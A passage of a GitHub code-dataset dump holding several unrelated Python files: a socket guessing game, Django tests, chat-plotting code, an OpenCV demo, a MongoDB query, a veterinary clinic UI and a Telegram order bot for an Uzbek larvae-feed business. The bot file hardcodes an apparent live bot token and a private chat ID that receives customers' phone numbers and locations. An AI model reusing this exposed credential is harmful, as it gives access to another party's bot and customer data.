print('Se ha conectado alguien')\n print(\"Escriba un número del 1 al 99\")\n c_abierta = True\n while c_abierta:\n random = random.randint(0,99)\n intro = int(cliente.recv(1000).decode('utf-8'))\n\n if int(intro) == random:\n msg = \"Felicidades! Ha acertado el número\"\n msg = str.encode(msg)\n cliente.send(msg)\n\n elif (random-3 < int(intro) < random + 3):\n msg = \"Caliente, caliente...\"\n msg = str.encode(msg)\n\n cliente.send(msg)\n elif (random - 6 < int(intro)):\n msg = \"Frio por abajo\"\n msg = str.encode(msg)\n cliente.send(msg)\n elif (int(intro) < random + 6):\n msg = \"Frío por arriba\"\n msg = str.encode(msg)\n\n cliente.send(msg)\n\n c_abierta = False\n\nexcept KeyboardInterrupt:\n cliente.close()\n print(\"Cerrando programa\")\n","repo_name":"lauradp21/Caliente","sub_path":"servidor_caliente.py","file_name":"servidor_caliente.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11503345102","text":"from django.test import TestCase\nfrom .models import Poll\n# from .models import Poll, Choice, Vote\nfrom django.urls import reverse\n\n\nclass ModelTest(TestCase):\n\n def testPollModel(self):\n poll = Poll.objects.create(owner=\"Dada1\", text=\"Test Text\")\n self.assertEquals(str(poll), 'Test_Poll')\n print(\"IsInstance : \", isinstance(poll, Poll))\n self.assertTrue(isinstance(poll, Poll))\n\n\nclass IndexTest(TestCase):\n\n def testIndexPage(self):\n response = self.client.get('/')\n print(response)\n self.assertEqual(response.status_code, 200)\n\n\nclass LoginTest(TestCase):\n\n def testLoginPage(self):\n response = self.client.get('accounts:login')\n print(response)\n\n\nclass SignupTest(TestCase):\n\n def testSignUpPage(self):\n response = self.client.get('accounts:register')\n print(response)\n\n\nclass NotFoundTest(TestCase):\n\n def test404Page(self):\n response = self.client.get('accounts:registerhk')\n print(response)\n self.assertEqual(response.status_code, 200)\n","repo_name":"Radee1/vote","sub_path":"polls/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27159860639","text":"import pandas as pd\nimport os\nimport sys\nimport glob\nimport logging\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom visualizers.utils import save_fig\nfrom utils import load_data\nimport matplotlib.dates as mdates\nimport matplotlib.ticker as ticker\n\nlog = logging.getLogger(__name__)\n\n\ndef render_barplot(df, args):\n # create figure\n sns.set()\n fig, ax = plt.subplots(1, 1, figsize=(20, 10))\n df['timestamp'] = pd.to_datetime(df.timestamp, unit='s')\n df['count'] = 0\n df = df.set_index('timestamp')\n df = df.groupby('conversationWithName').resample(args.bin_size).count()['count']\n df = df.unstack(fill_value=0).T\n df = df.reset_index()\n df = df.set_index('timestamp')\n df.plot(kind='bar', stacked=True, ax=ax)\n # Axis labels\n ax.set_xlabel('')\n ax.set_ylabel('Messages per month')\n # Legend\n ax.legend(loc='center left', bbox_to_anchor=(1, .5))\n # Make most of the ticklabels empty so the labels don't get too crowded\n ticklabels = [''] * len(df.index)\n # Every 4th ticklable shows the month and day\n ticklabels[::4] = [item.strftime('%b') for item in df.index[::4]]\n # Every 12th ticklabel includes the year\n ticklabels[::12] = [item.strftime('%b %Y') for item in df.index[::12]]\n ax.xaxis.set_major_formatter(ticker.FixedFormatter(ticklabels))\n plt.gcf().autofmt_xdate()\n plt.tight_layout()\n save_fig(fig, 'breakdown')\n\n\ndef render_density(df, args):\n sns.set()\n fig, ax = plt.subplots(1, 1, figsize=(20, 10))\n df['timestamp'] = pd.to_datetime(df.timestamp, unit='s')\n df['timestamp'] = df.timestamp.apply(lambda s: mdates.date2num(s))\n for name, g in df.groupby('conversationWithName'):\n sns.distplot(g['timestamp'], ax=ax, hist=False, label=name, kde_kws={\"shade\": True})\n ax.set_ylabel('Density')\n ax.set_xlabel('')\n ax.legend(loc='center left', bbox_to_anchor=(1, .5))\n ax.xaxis.set_minor_locator(mdates.MonthLocator())\n ax.xaxis.set_major_locator(mdates.YearLocator())\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))\n plt.tight_layout()\n save_fig(fig, 'density')\n\n\ndef main(args):\n df = load_data(args)\n if args.as_density:\n render_density(df, args)\n else:\n render_barplot(df, args)\n","repo_name":"MasterScrat/Chatistics","sub_path":"visualizers/breakdown.py","file_name":"breakdown.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":919,"dataset":"github-code","pt":"50"} +{"seq_id":"12140025094","text":"import telebot\nfrom telebot import types\nfrom geopy.geocoders import Nominatim\n\n\nbot =telebot.TeleBot('1372088219:AAEFWaIZq_tbzQ8MWoqA3YIt2MgcTGuYAUg')\n\ndata = {'contact': \"\", 'type': \"\", 'weight': \"\"}\n\nbot.state = None # create own value `.state` in `bot` - so I don't have to use `global state`. Similar way I could create and use `bot.data`\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)\n btn1 =types.KeyboardButton('Kontakt 📲', request_contact=True)\n markup.add(btn1)\n send_mess = f\"Salom, {message.from_user.first_name}! \\nBuyurtma berishdan avval o'z kontaklaringiz bilan ulashing!\"\n bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=markup)\n global user_id\n user_id = message.from_user.id\n\n\n\n@bot.message_handler(content_types=['contact'])\ndef mess(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)\n btn1 =types.KeyboardButton('Lokatsiya 📍', request_location=True)\n btn2 = types.KeyboardButton(\"O'tkazib yuborish ➡️\")\n markup.add(btn1, btn2)\n send_mess = f\"Rahmat, davom etish uchun lokatsiyani ham ulashing\"\n bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=markup)\n data['contact'] = message.contact.phone_number\n global user_number\n user_number = message.contact.phone_number\n\n@bot.message_handler(content_types=['location'])\ndef mess(message):\n send_mess = f\"Rahmat {message.from_user.first_name} !\"\n bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=mainkeyboard)\n coord = (message.location.latitude, message.location.longitude)\n geolocator = Nominatim(user_agent=\"main.py\")\n location = geolocator.reverse(f'{coord[0]}, {coord[1]}')\n data['type'] = location.address\n msg = \"Имя: {} \\nНомер: {} \\nАдрес: {} \".format(message.from_user.first_name, data['contact'], data['type'])\n bot.send_message(-452474686, msg, parse_mode='html')\n bot.send_location(-452474686, message.location.latitude, message.location.longitude)\n\n\nglobal mainkeyboard\nglobal keyboard\n\nkeyboard = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2, one_time_keyboard=True)\nbtn1 = types.KeyboardButton('1kg')\nbtn2 = types.KeyboardButton('5kg')\nbtn3 = types.KeyboardButton('10kg')\nbtn4 = types.KeyboardButton(\"20kg\")\nbtn5 = types.KeyboardButton(\"50kg\")\nbtn6 = types.KeyboardButton(\"Boshqasi\")\nbtn7 = types.KeyboardButton('Bekor qilish ❌')\nkeyboard.add(btn1, btn2, btn3, btn4, btn5, btn6, btn7)\n\nmainkeyboard = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\nbtn1 = types.KeyboardButton('Mahsulotlarimiz 🐛')\nbtn2 = types.KeyboardButton('Bizning manzilimiz 📍')\nbtn3 = types.KeyboardButton(\"Bog'lanish uchun ☎️\")\nbtn4 = types.KeyboardButton('Vitae.uz ✅')\nmainkeyboard.add(btn1, btn2, btn3, btn4)\n\n\norder = {'product': \"\", 'weight': \"\"}\n\n\n@bot.message_handler(content_types=['text'])\ndef mess(message):\n get_message_bot = message.text.strip().lower()\n\n if get_message_bot == \"o'tkazib yuborish ➡️\":\n send_mess = f\"Rahmat {message.from_user.first_name} !\"\n bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=mainkeyboard)\n msg = \"Имя: {} \\nНомер: {} \".format(message.from_user.first_name, data['contact'])\n bot.send_message(-452474686, msg, parse_mode='html')\n elif get_message_bot == \"ortga qaytish ⬅️\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)\n btn1 = types.KeyboardButton('Qora lvinkaning tirik lichinkasi')\n btn2 = types.KeyboardButton('Quritilgan lichinka')\n btn3 = types.KeyboardButton('Proteinli konsentrat «Germecia»')\n btn4 = types.KeyboardButton(\"Organik o'g'it «Germecia» Biohumus\")\n btn5 = types.KeyboardButton(\"Yog'li «Germecia»\")\n btn6 = types.KeyboardButton('Boshiga ⬅️')\n markup.add(btn1, btn2, btn3, btn4, btn5, btn6)\n final_message = \"Sizni nima qiziqtirmoqda?\"\n bot.send_message(message.chat.id, final_message, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"boshiga ⬅️\":\n final_message = \"Sizni nima qiziqtirmoqda?\"\n bot.send_message(message.chat.id, final_message, parse_mode='html', reply_markup=mainkeyboard)\n elif get_message_bot == \"bizning manzilimiz 📍\":\n manzil = \"Toshkent tumani, Taraqqiy ko’chasi\"\n bot.send_message(message.chat.id, manzil,)\n bot.send_location(message.chat.id, 41.436964, 69.372849)\n elif get_message_bot == \"bog'lanish uchun ☎️\":\n telefon = f\"Телефон:\\n+99899 871-17-04 \\n+99890 319-62-68\\n\\n\" \\\n f\"E-mail:\\ninfo@vitae.uz\"\n bot.send_message(message.chat.id, telefon, parse_mode='html')\n elif get_message_bot == \"mahsulotlarimiz 🐛\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1)\n btn1 = types.KeyboardButton('Qora lvinkaning tirik lichinkasi')\n btn2 = types.KeyboardButton('Quritilgan lichinka')\n btn3 = types.KeyboardButton('Proteinli konsentrat «Germecia»')\n btn4 = types.KeyboardButton(\"Organik o'g'it «Germecia» Biohumus\")\n btn5 = types.KeyboardButton(\"Yog'li «Germecia»\")\n btn6 = types.KeyboardButton('Buyurtma berish 📌')\n btn7 = types.KeyboardButton('Boshiga ⬅️')\n markup.add(btn1, btn2, btn3, btn4, btn5, btn6, btn7)\n finaal_message = \"Sizni nima qiziqtirmoqda??\"\n bot.send_message(message.chat.id, finaal_message, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"vitae.uz ✅\":\n p = open(\"images/vita.jpg\", 'rb')\n about = \"Kuniga 10.000kg ozuqa xomashyosi \\n\\n\" \\\n \"Bizning ishlab chiqarish quvvatlarimiz kuniga 10 tonnagacha ozuqa xomashyosini qayta ishlashga imkon beradi. \" \\\n \"Shunday qilib, biz O’zbekistondagi eng yirik qora lichinka baliqlari mahsulotlarini ishlab chiqaruvchilarmiz. \" \\\n \"Faqat o’simlik materiallaridan foydalanish sanitariya va veterinariya me’yorlariga javob beradigan eng xavfsiz mahsulotni olishga imkon beradi. \" \\\n \"Amaldagi texnologiya va uskunalar lichinkaning biologik qiymatini va uni qayta ishlash mahsulotlarini saqlashga imkon beradi \\n\\n\" \\\n \"✅ Yanada kuchli tuxum po’stlari. Har bir cho’qish bilan 50 barobarko’proq kaltsiy oling.\\n\\n\" \\\n \"✅ Qurtlar – quritilgan qora askar chivinlari lichinkalari, tovuqlar uchun kunlik sog’lik garovidir.\\n\\n\" \\\n \"✅ Yaxlitlash osonroq. Ovqatlanish paytida lichinkalarni tuting va muhabbat bilan o’rab oling. ular yugurib kelishadi.\"\n bot.send_photo(message.chat.id, p, about, parse_mode='html')\n\n elif get_message_bot == \"quritilgan lichinka\":\n p = open(\"images/ql.jpg\", 'rb')\n info = \"Quritilgan lichinka:\\n\\n\" \\\n \"Tavsif: Qora lvinkaning (Hermetia illusens) quritilgan butun lichinkasi\\n\\n\" \\\n \"Tarkibi: 100% qora lvinka lichinkalaridan iborat\\n\\n\" \\\n \"Ilova: U qishloq xo’jaligi hayvonlari, parrandalar, suv xo’jaligi va mahsuldor bo’lmagan hayvonlar uchun ozuqada oqsil, yog ‘va uglevodlarning manbai sifatida ishlatiladi.\\n\\n\" \\\n \"Jismoniy xususiyatlari:\\n\\n\" \\\n \"Hidi: o’ziga xos, qattiq emas, chirigan emas, yumshoq rang.\\n\" \\\n \"Rangi: Kulrangdan jigarranggacha.\\n\" \\\n \"Xavfsizlik ko’rsatkichlari: Toksik emas Anaeroblar – yo’q\\n\" \\\n \"Salmonella – yo’q\\n\" \\\n \"Escherichia coli – yo’q\\n\" \\\n \"Proteus – yo’q\\n\" \\\n \"Qadoq:…, …, …, litr sumkalar\\n\\n\" \\\n \"Saqlash muddati: 12 oy\"\n bot.send_photo(message.chat.id, p, info, parse_mode='html')\n elif get_message_bot == \"qora lvinkaning tirik lichinkasi\":\n p = open(\"images/tk.jpg\", 'rb')\n info = \"Tirik Lichinka:\\n\\n\" \\\n \"Tavsif: Qora lvinkaning jonli lichinkasi( Hermetia illusens). Lichinkaning uzunligi 25 mm gacha, kengligi 5 mm gacha – yoshga qarab.\\n\\n\" \\\n \"Tarkibi: 100% qora lvinka lichinkalaridan iborat.\\n\\n\" \\\n \"Ilova: U hasharotlar, qushlar, sudralib yuruvchilar, amfibiyalar va baliqlar uchun jonli ovqat sifatida ishlatiladi. U baliq ovlashda jonli o’lja sifatida ishlatiladi. Baliq ovi uchun ishlatiladigan goʻshtli pashhaga alternativ sifatida. Lichinkani turli yoshlarda olib tashlash orqali biz turli o’lchamdagi lichinkalarni olamiz – 10 dan 25 mm gacha.\\n\\n\" \\\n \"Jismoniy xususiyatlari:\\n\\n\" \\\n \"Hid: o’ziga xos, qattiq emas, chirigan emas, yumshoq\\n\" \\\n \"Rang: oqdan qora ranggacha.\\n\" \\\n \"Xavfsizlik ko’rsatkichlari: toksik bo’lmagan\\n\" \\\n \"Anaeroblar – yo’q\\n\" \\\n \"Salmonella – yo’q\\n\" \\\n \"Escherichia coli - yo’q\\n\" \\\n \"Proteus – yo’q\\n\" \\\n \"Qadoq: … ml idishlar\\n\\n\" \\\n \"Saqlash shartlari: Voyaga yetgan va undan avvaligi prepupani 4 haftagacha 8-120C haroratda saqlang.\\n\\n\" \\\n \"Yosh lichinkalarni 2 oygacha 10-250C haroratda saqlang\"\n bot.send_photo(message.chat.id, p, info, parse_mode='html')\n elif get_message_bot == \"proteinli konsentrat «germecia»\":\n p = open(\"images/pk.jpg\", 'rb')\n info = \"Proteinli konsentrat «Germecia»\\n\\n\" \\\n \"Tavsif: Qora lvinka qurtlari (Hermetia illucens) quritilgan yog’sizlangan va maydalangan biomassasi. Quritish infraqizil qurilmalarda barcha biologik faol xususiyatlarni saqlab qolish bilan amalga oshiriladi.\\n\\n\"\\\n \"Tarkibi: Antioksidant bo’lgan qora sher lichinkalarining kam yog’li biomassasi.\\n\\n\" \\\n \"Ilova: Makro va mikroelementlar manbai, tuproqni yaxshilagich sifatida ishlatiladi. Foydasi kam tuproqlarni foydali mikroflora bilan boyitadi.\\n\\n\" \\\n \"Jismoniy xususiyatlari:\\n\\n\" \\\n \"Hidi: kuchli emas, oʻtkir emas, chirigan hid kelmaydi\\n\" \\\n \"Rang: kulrangdan jigarranggacha.\\n\" \\\n \"Shakli: qumsimon va granular\\n\" \\\n \"Xavfsizlik ko’rsatkichlari: Toksik bo’lmagan\\n\" \\\n \"Anaeroblar – yo’q\\n\" \\\n \"Salmonella – yo’q\\n\" \\\n \"Escherichia coli – yo’q\\n\" \\\n \"Proteus – yo’q\\n\" \\\n \"Qadoq: 10-40 kg lik qoplarda\\n\\n\" \\\n \"Saqlash muddati: 12 oy\"\n bot.send_photo(message.chat.id, p, info, parse_mode='html')\n elif get_message_bot == \"organik o'g'it «germecia» biohumus\":\n p = open(\"images/oo.png\", 'rb')\n info = \"Organik o'g'it «Germecia» Biohumus:\\n\\n\" \\\n \"Tavsif: Qora lvinka (Hermetia illusens) lichinkasining quritilgan, yogʻsizlantirilgan va maydalangan biomassasi. Quritish barcha biologik xususiyatlarni saqlab qilgan holda infro qizil qurilmalarda amalga oshiriladi.\\n\\n\" \\\n \"Tarkibi: Qora lvinka lichinkalarining yogʻsizlantirilgan biomassasi, antioksidant.\\n\\n\" \\\n \"Qo’llash: Qishloq xoʻjaligi hayvonlari, parrandalar, suv hayvonlarini va uy hayvonlari uchun moʻljallangan ozuqada oqsil, yogʻ va biologik faol moddalar manbai sifatida qoʻllaniladi.\\n\\n\" \\\n \"Jismoniy xususiyatlari:\\n\\n\" \\\n \"Hidi: o’ziga xos, yoqimli.\\n\" \\\n \"Rang: kulrangdan jigarranggacha.\\n\" \\\n \"Xavfsizlik ko’rsatkichlari: Toksik emas – yo’q mavjud emas\\n\" \\\n \"Anaeroblar – yo’q\\n\" \\\n \"Salmonella – yo’q\\n\" \\\n \"Escherichia coli – yo’q\\n\" \\\n \"Proteus – yo’q\\n\" \\\n \"Qadoq: 10-40 kg lik qoplarda\\n\\n\" \\\n \"Saqlash muddati: 12 oy\"\n bot.send_photo(message.chat.id, p, info, parse_mode='html')\n elif get_message_bot == \"yog'li «germecia»\":\n p = open(\"images/yh.jpg\", 'rb')\n info = \"Yog'li «Hermecia»:\\n\\n\" \\\n \"Tavsif: Qora lichinka yog’i lichinka biomassasidan yog ‘bosish va ajratish yo’li bilan olinadi.\\n\\n\" \\\n \"Tarkibi: Qora lichinka lichinkalaridan 100% yog ‘mavjud\\n\\n\" \\\n \"Ilova: Bu ozuqa ishlab chiqarish, sovun tayyorlash, kosmetologiya va farmatsevtika sohasida foydalanish uchun tavsiya etiladi.\\n\\n\" \\\n \"Jismoniy xususiyatlari:\\n\\n\" \\\n \"Erish nuqtasi: 400S\\n\" \\\n \"Hidi: o’ziga xos, qattiq emas, chirigan emas, yumshoq\\n\" \\\n \"Rang: oqdan jigarranggacha.\\n\" \\\n \"Xavfsizlik ko’rsatkichlari: Toksik bo’lmagan\\n\" \\\n \"Anaeroblar – yo’q\\n\" \\\n \"Salmonella – yo’q\\n\" \\\n \"Escherichia coli – yo’q\\n\" \\\n \"Proteus – yo’q\\n\" \\\n \"Qadoq: litr bochkalari\\n\\n\" \\\n \"Saqlash muddati:12 oy\"\n bot.send_photo(message.chat.id, p, info, parse_mode='html')\n elif get_message_bot == \"buyurtma berish 📌\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton('Qora lvinkaning tirik lichinkasi.')\n btn2 = types.KeyboardButton('Quritilgan lichinka.')\n btn3 = types.KeyboardButton('Proteinli konsentrat «Germecia».')\n btn4 = types.KeyboardButton(\"Organik o'g'it «Germecia» Biohumus.\")\n btn5 = types.KeyboardButton(\"Yog'li «Germecia».\")\n btn6 = types.KeyboardButton('Bekor qilish ❌')\n markup.add(btn1, btn2, btn3, btn4, btn5, btn6)\n messa = \"Marxamat mahsulotni tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"bekor qilish ❌\":\n msg = \"Bekor qilindi\"\n bot.send_message(message.chat.id, msg, reply_markup=mainkeyboard )\n elif get_message_bot == \"qora lvinkaning tirik lichinkasi.\":\n messa = \"Buyurtma hajmini tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=keyboard)\n order['product'] = message.text\n elif get_message_bot == \"quritilgan lichinka.\":\n messa = \"Buyurtma hajmini tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=keyboard)\n order['product'] = message.text\n elif get_message_bot == \"proteinli konsentrat «germecia».\":\n messa = \"Buyurtma hajmini tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=keyboard)\n order['product'] = message.text\n elif get_message_bot == \"organik o'g'it «germecia» biohumus.\":\n messa = \"Buyurtma hajmini tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=keyboard)\n order['product'] = message.text\n elif get_message_bot == \"yog'li «germecia».\":\n messa = \"Buyurtma hajmini tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=keyboard)\n order['product'] = message.text\n elif get_message_bot == \"1kg\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n order['weight'] = message.text\n messag= \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {}\"\"\".format(order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"5kg\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n order['weight'] = message.text\n messag = \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {}\"\"\".format(\n order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"10kg\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n order['weight'] = message.text\n messag= \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {}\"\"\".format(order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"20kg\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n order['weight'] = message.text\n messag= \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {}\"\"\".format(order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"50kg\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n order['weight'] = message.text\n messag = \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {}\"\"\".format(\n order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n elif get_message_bot == \"boshqasi\":\n mess = bot.send_message(message.chat.id, \"Kerakli bo'lgan hajimni kiriting\")\n bot.register_next_step_handler(mess, get_custom_weight)\n elif get_message_bot == \"tasdiqlash\":\n mes = \"Yana buyurtma berasizmi?\"\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Ha, albatta\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1,btn2)\n buyurtma= \"\"\"Buyurtma📎\\n\\nBuyurtmachi: {}\\nTelefon raqami: {}\\nMahsulot: {}\\nHajmi: {}\"\"\".format(message.from_user.first_name, data['contact'], order['product'], order['weight'])\n bot.send_message(message.chat.id, mes, reply_markup=markup)\n bot.send_message(-452474686, buyurtma, parse_mode='html')\n bot.state = None\n elif get_message_bot == \"ha, albatta\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton('Qora lvinkaning tirik lichinkasi.')\n btn2 = types.KeyboardButton('Quritilgan lichinka.')\n btn3 = types.KeyboardButton('Proteinli konsentrat «Germecia».')\n btn4 = types.KeyboardButton(\"Organik o'g'it «Germecia» Biohumus.\")\n btn5 = types.KeyboardButton(\"Yog'li «Germecia».\")\n btn6 = types.KeyboardButton('Bekor qilish ❌')\n markup.add(btn1, btn2, btn3, btn4, btn5, btn6)\n messa = \"Marxamat mahsulotni tanlang\"\n bot.send_message(message.chat.id, messa, parse_mode='html', reply_markup=markup)\n else:\n fiinal_message = f\"Noaniq so'rov, {message.from_user.first_name} iltimos kerakli yonalishni tanlang\"\n bot.send_message(message.chat.id, fiinal_message, parse_mode='html', reply_markup=mainkeyboard)\n\ndef get_custom_weight(message):\n age = message.text\n if not age.isdigit():\n msg = bot.reply_to(message, 'Iltimos kerakli hajimni faqat son shaklida kiriting')\n bot.register_next_step_handler(msg, get_custom_weight)\n else:\n order['weight'] = message.text\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btn1 = types.KeyboardButton(\"Tasdiqlash\")\n btn2 = types.KeyboardButton(\"Bekor qilish ❌\")\n markup.add(btn1, btn2)\n messag = \"\"\"Siznining buyurmangiz📎\\n\\nMahsulot: {}\\n\\nHajmi: {} kg\"\"\".format(\n order['product'], order['weight'])\n bot.send_message(message.chat.id, messag, parse_mode='html', reply_markup=markup)\n\nbot.polling(none_stop=True)\n#\n\n\n\n\n","repo_name":"AzamatSharipov/vitae-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9566749459","text":"n = int(input()) # n을 입력받는다\npeople = [] # x, y를 입력받을 리스트 선언\nfor i in range(n):\n x, y = map(int, input().split())\n people.append((x, y))\nfor i in people:\n rank = 1 # rank를 1로 초기화해준다\n for j in people: # j번 만큼 비교를 하여 등수 비교를 한다\n if i[0] < j[0] and i[1] < j[1]: # 다음 사람과 비교해서 덩치가 크면 rank를 1단계 높인다\n rank += 1\n print(rank, end=' ')\n","repo_name":"juhan2103/algorithm_study","sub_path":"Implementaion/BOJ-7568.py","file_name":"BOJ-7568.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70357670875","text":"import cv2 as cv\nimport numpy as np\n\nimg = cv.imread('images/AC.jpg')\ncv.imshow('Original', img)\n\nblank = np.zeros(img.shape[:2], dtype='uint8')\n\ncircle = cv.circle(blank.copy(), (img.shape[1]//2, img.shape[0]//2), 100, 255, -1)\n\nrectangle = cv.rectangle(blank.copy(), (100, 100), (200, 400), 255, -1)\n\nweird_shape = cv.bitwise_and(circle, rectangle)\ncv.imshow('Weird Shape', weird_shape)\n\nmasked = cv.bitwise_and(img, img, mask=weird_shape)\ncv.imshow('Weird Shaoe Masked Image', masked)\n\ncv.waitKey(0)","repo_name":"auchinto-c/open-cv-study","sub_path":"masking.py","file_name":"masking.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14359205119","text":"from diagrams.onprem.queue import Kafka\nfrom diagrams.onprem.compute import Server\nfrom diagrams.onprem.database import PostgreSQL\nfrom diagrams import Cluster, Diagram, Edge\n\nwith Diagram(\"Monitoring pipeline\", show=False):\n with Cluster(\"Monitoring Agents\"):\n agents = [\n Server(\"Agent1\"),\n Server(\"Agent2\"),\n Server(\"Agent3\")\n ]\n with Cluster(\"Targets\"):\n targets = [\n Server(\"Target1\") << Edge(color=\"darkgreen\", label=\"probe\") << agents[0],\n Server(\"Target2\") << Edge(color=\"darkred\", label=\"probe\") << agents[1],\n Server(\"Target3\") << Edge(color=\"darkgreen\", label=\"probe\") << agents[2]\n ]\n with Cluster(\"agent-probe-results.v1.json\"):\n topic = Kafka(\"\")\n agents >> Edge(label=\"push\", reverse=False, forward=True) >> topic\n\n with Cluster(\"Results processor\"):\n processor = Server(\"Results processor\")\n processor << Edge(label=\"consume\") << topic\n\n database = PostgreSQL(\"database.probe_results\")\n processor >> database\n","repo_name":"mikhail-sakhnov/go-metrics-collector","sub_path":"diagrams/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"70677341597","text":"from pymongo import MongoClient\nfrom bson.codec_options import CodecOptions\nimport pytz\n\nMONGO_HOST = 'mongodb://localhost/'\nMONGO_DB = 'db_twitter'\n\ntimezone = pytz.timezone('Asia/Makassar')\n\nclient = MongoClient(MONGO_HOST)\ndb = client['Hitung']\ncollection = db['2'].with_options(codec_options=CodecOptions(tz_aware=True, tzinfo=timezone))\ndata = collection\ndata_details = data.find()\n\nfor i in data_details:\n print(i['created_at'])\n","repo_name":"gunaya/Twitter-Mining-With-Tweepy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27849684242","text":"import vet_ui as ui\nfrom db import execute, execute_notrans\nfrom datetime import datetime\n\nreceive = lambda: input().strip().lower()\nis_exit = lambda command: command.strip() == \"выйти\"\nis_empty = lambda command: command.strip() == \"\"\n\ndef print_help():\n print(\"\\nДоступные команды:\")\n for cmd in commands:\n print(\"{0:<15s} - {1:s}\".format(cmd, commands[cmd][1]))\n\nlogin = None\ndef log_in():\n print(\"Введите логин: \", end=\"\")\n try_login = input()\n print(\"Введите пароль: \", end=\"\")\n try_password = input()\n\n check = execute_notrans(\n \"SELECT login, password FROM vet WHERE login = %s AND password = %s;\", try_login, try_password\n )\n if len(check) == 0:\n print(\"Неправильный логин или пароль\")\n else:\n global login\n login = try_login\n\n names = execute_notrans(\n \"SELECT first_name, last_name FROM vet WHERE login = %s;\", login\n )\n print(\"Вы вошли как {0:s} {1:s}\".format(names[0][0], names[0][1]))\n\ndef upcoming():\n appointments = execute_notrans(\n \"SELECT date_time, master, cat.name, examination_id FROM examination, cat WHERE (cat.cat_id = examination.cat_id) AND (date_time >= CURRENT_TIMESTAMP) AND (vet_specialty_id IN (SELECT vet_specialty.vet_specialty_id FROM vet_specialty WHERE vet_specialty.vet = %s));\", login\n )\n\n print(\"Назначенные обследования:\\n\")\n for app in 